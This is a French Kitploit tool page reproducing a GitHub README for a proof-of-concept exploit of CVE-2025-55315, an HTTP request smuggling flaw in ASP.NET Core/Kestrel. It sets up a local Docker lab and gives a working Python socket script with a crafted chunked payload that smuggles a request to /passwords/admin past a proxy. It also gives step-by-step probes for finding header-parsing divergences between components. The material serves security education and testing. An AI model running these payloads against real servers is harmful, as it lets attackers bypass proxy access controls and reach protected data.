Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55315 — Exploit de preuve de concept pour CVE-2025-55315 (HTTP Request Smuggling .NET). Démontre comment un encodage chunked mal analysé permet aux attaquants de faire passer clandestinement des requêtes à travers les proxys et les équilibreurs de charge des serveurs ASP.NET Core/Kestrel vulnérables. | Kitploit
Outils/GitHubGitHub/martinfabianionut/cve-2025-55315
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Voir le dépôt
14il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit de preuve de concept pour CVE-2025-55315 (HTTP Request Smuggling .NET). Démontre comment un encodage chunked mal analysé permet aux attaquants de faire passer clandestinement des requêtes à travers les proxys et les équilibreurs de charge des serveurs ASP.NET Core/Kestrel vulnérables.

Partager

CVE-2025-55315

Exploit de preuve de concept pour CVE-2025-55315 (contrebande de requêtes HTTP .NET). Il démontre comment un encodage chunked mal interprété permet aux attaquants de faire passer en contrebande des requêtes au-delà des proxys et des équilibreurs de charge dans les serveurs ASP.NET Core/Kestrel vulnérables.

📊 Présentation

Voir la présentation Prezi interactive

Prezi Presentation

🎥 Cliquez sur le badge ci-dessus pour voir la présentation interactive complète sur Prezi

Structure du projet

  • Api - API ASP.NET Core consolidée avec deux Dockerfiles :
    • Dockerfile.vulnerable - Utilise .NET 10.0.100-rc.1 (vulnérable à CVE-2025-55315)
    • Dockerfile.patched - Utilise .NET 10.0.100 (version corrigée)
  • PythonProxy - Proxy vulnérable utilisé pour la démonstration de l'exploit CVE-2025-55315 (privilégie Content-Length sur Transfer-Encoding)
  • YarpProxy - Reverse proxy YARP pour tester l'équilibrage de charge (ne fait pas partie de l'exploit)

Remarque : la vulnérabilité se trouve dans l'analyseur HTTP du runtime .NET (Kestrel), pas dans le code applicatif. Les deux versions utilisent un code source identique, mais des versions différentes du runtime .NET.

Démarrage rapide

# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

Consultez DOCKER.md pour des instructions détaillées sur l'utilisation de Docker.

Démonstration de l'exploit

Le proxy Python démontre CVE-2025-55315 en privilégiant Content-Length sur Transfer-Encoding, ce qui permet la contrebande de requêtes HTTP :

payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

Cette charge utile fait passer en contrebande une seconde requête vers /passwords/admin au-delà de la vérification de sécurité du proxy, en exploitant la divergence entre la façon dont le proxy et le serveur backend interprètent la requête.

Interprétation visuelle de la requête

Voici comment le proxy et le serveur backend interprètent différemment la même charge utile :

INTERPRÉTATION DU PROXY (accepte \n comme fin de ligne valide) :

flowchart TD
    subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

INTERPRÉTATION DU BACKEND (rejette \n, exige \r\n) :

flowchart TD
    subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px

Principales différences :

ComposantTaille du chunk 2;\nOctets lusCe qui se passe
Proxy✅ Taille de chunk valide2 octets (xx)Traite 2;\n comme un en-tête de chunk complet, lit 2 octets, passe au chunk suivant
Backend❌ Fin de ligne invalideLit toujours un chunk de 2 octetsL'en-tête de chunk ne se termine pas avant xx\r\n, donc 39 devient le corps du chunk, 0 termine le chunk

Explication détaillée :

  • Proxy : accepte 2;\n comme déclaration valide de taille de chunk (2 octets) → lit xx comme corps du chunk de 2 octets → passe au chunk suivant (39)
  • Backend : rejette \n comme fin de ligne → la taille du chunk reste 2, mais l'en-tête s'étend jusqu'à 2;\nxx\r\n → lit 39 comme partie du corps du chunk → 0\r\n termine le chunk
  • Résultat : la requête GET /passwords/admin introduite en contrebande est cachée dans ce que le backend considère comme des données de chunk, mais elle est analysée comme une requête distincte une fois le traitement du chunk terminé

La requête GET /passwords/admin introduite en contrebande est cachée dans ce que le proxy pense être des données de corps de chunk, mais le backend l'interprète comme une requête HTTP distincte.

Identifier la vulnérabilité

Avant d'exploiter, vous devez identifier quel en-tête HTTP (Content-Length ou Transfer-Encoding) les différents composants privilégient. Voici un guide pas à pas :

Étape 1 : tester la priorité des en-têtes

Envoyez une requête avec les deux en-têtes Content-Length et Transfer-Encoding: chunked pour voir lequel chaque composant respecte :

POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Analyse :

  • Si le serveur traite "Fa" (2 octets) → il privilégie Content-Length
  • Si le serveur traite "Fabian" (corps chunked complet) → il privilégie Transfer-Encoding

Étape 2 : tester chaque composant

Testez tous les composants de votre architecture pour trouver des divergences :

Tester l'API non sécurisée (port 5001)

# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass
Télécharger l’outil